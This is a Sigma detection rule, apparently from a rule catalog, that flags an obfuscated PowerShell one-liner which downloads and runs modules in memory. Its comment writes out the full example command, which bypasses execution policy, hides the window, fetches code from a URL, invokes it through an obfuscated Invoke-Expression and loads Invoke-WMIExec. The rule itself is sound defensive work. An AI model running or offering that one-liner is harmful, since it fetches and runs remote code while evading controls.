Obfuscated PowerShell OneLiner Execution

calendar Apr 17, 2025 · attack.defense-evasion attack.execution attack.t1059.001 attack.t1562.001  ·
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Detects the execution of a specific OneLiner to download and execute powershell modules in memory.

Sigma rule (View on GitHub)

 1title: Obfuscated PowerShell OneLiner Execution
 2id: 44e24481-6202-4c62-9127-5a0ae8e3fe3d
 3status: test
 4description: Detects the execution of a specific OneLiner to download and execute powershell modules in memory.
 5references:
 6    - https://thedfirreport.com/2022/05/09/seo-poisoning-a-gootloader-story/
 7    - https://gist.github.com/mgeeky/3b11169ab77a7de354f4111aa2f0df38
 8author: '@Kostastsale, TheDFIRReport'
 9date: 2022-05-09
10modified: 2025-04-16
11tags:
12    - attack.defense-evasion
13    - attack.execution
14    - attack.t1059.001
15    - attack.t1562.001
16logsource:
17    product: windows
18    category: process_creation
19detection:
20    selection:
21        # Example: powershell -nop -noni -ep bypass -w h -c "$u=("http://127.0.0.1:1337/"|%%{(IRM $_)});&("".SubString.ToString()[67,72,64]-Join"")($u); Import-Module C:\Users\EXAMPLE\Invoke-WMIExec.ps1; Invoke-WMIExec"
22        Image|endswith: '\powershell.exe'
23        CommandLine|contains|all:
24            - 'http://127.0.0.1'
25            - '%{(IRM $_)}'
26            - 'Invoke'
27    condition: selection
28falsepositives:
29    - Unknown
30level: high

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